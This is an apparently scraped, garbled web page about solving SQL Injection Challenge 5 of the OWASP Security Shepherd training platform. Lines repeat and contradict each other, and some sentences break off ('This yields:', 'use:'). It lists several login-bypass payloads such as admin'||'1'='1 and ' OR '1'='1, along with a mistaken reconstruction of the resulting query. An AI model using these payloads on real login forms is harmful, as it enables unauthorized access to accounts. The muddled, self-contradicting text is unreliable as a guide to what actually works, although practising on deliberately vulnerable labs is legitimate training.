Sql Injection Challenge 5: Security Shepherd

admin'||'1'='1 Password: anything

But comments allowed.

However, many confirm the simpler working version is:

Username: admin'' Password: ' OR ''=' Or more cleanly: Sql Injection Challenge 5 Security Shepherd

But Challenge 5 often requires using /**/ or + or leveraging = comparisons. Known working payload for Challenge 5 (OWASP Security Shepherd) Username: admin' Password: '='

admin' Password: '1'='1

This yields:

But if || is blocked, use:

But due to blacklist, use:

But since Challenge 5 often blocks OR , use || : admin'||'1'='1 Password: anything But comments allowed

SELECT * FROM users WHERE username = 'admin'' AND password = ''='' Wait — that’s not right. Let me refine: Better payload:

admin' Password: ' OR '1'='1

SELECT * FROM users WHERE username = 'admin'' AND password = ''='' But due to closing quote handling, it’s actually: Let me refine: Better payload: admin' Password: '

admin' Password: ' OR '1'='1

admin' Password: '=''